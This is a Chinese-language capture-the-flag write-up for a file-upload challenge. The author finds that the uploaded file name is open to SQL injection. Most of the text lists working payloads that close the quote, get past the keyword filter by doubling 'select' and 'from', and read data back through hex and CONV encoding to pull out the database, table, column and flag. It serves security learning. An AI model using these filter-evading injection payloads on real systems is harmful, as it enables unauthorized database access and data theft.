打开场景,查看到一个登录和注册页面。然后sql注入没发现什么注入点
那么就随便注册一个账号,wangxiang,wangxiang,登录,发现文件上传点
尝试上传1句话,发现对后缀做了限制
那么就尝试图片码,发现jpg图片可以上传,且会回显上传的文件名,这就是本题的关键点,在这里进行sql注入,然后就可以拿到flag
用burpsuite抓包的方式进行演示,下面的问题就纯粹是一个sql注入的绕过问题
经过检测,经典单引号闭合,select from单次过滤(双写可绕过),回显格式过滤(转成数字),要先将字符串转成16进制(hex),
再把16进制截取前12位(超过12位转成10进制会表示成科学计数法),再通过16进制转成10进制(因为16进制没回显)(CONV函数)
拿到回显的数字再把数字换成字符串就可以了(文件名不要用纯数字或者数字开头,否则结果上会加上这个数字)
爆库名:
a'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg //131277325825392对应16进制7765625f7570 转成字符串web_up
a'+(selselectect CONV(substr(hex(database()),13,12),16,10))+'.jpg//1819238756对应16进制6c6f6164转成字符串load
爆表名:
a'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
a '+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg
爆列名:
a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg
爆flag:
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
a'+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
怎么看都是像挂羊头卖狗肉的。。。考sql注入挂一个upload的名字
参考视频链接:https://www.bilibili.com/video/BV1n3411C7ZZ/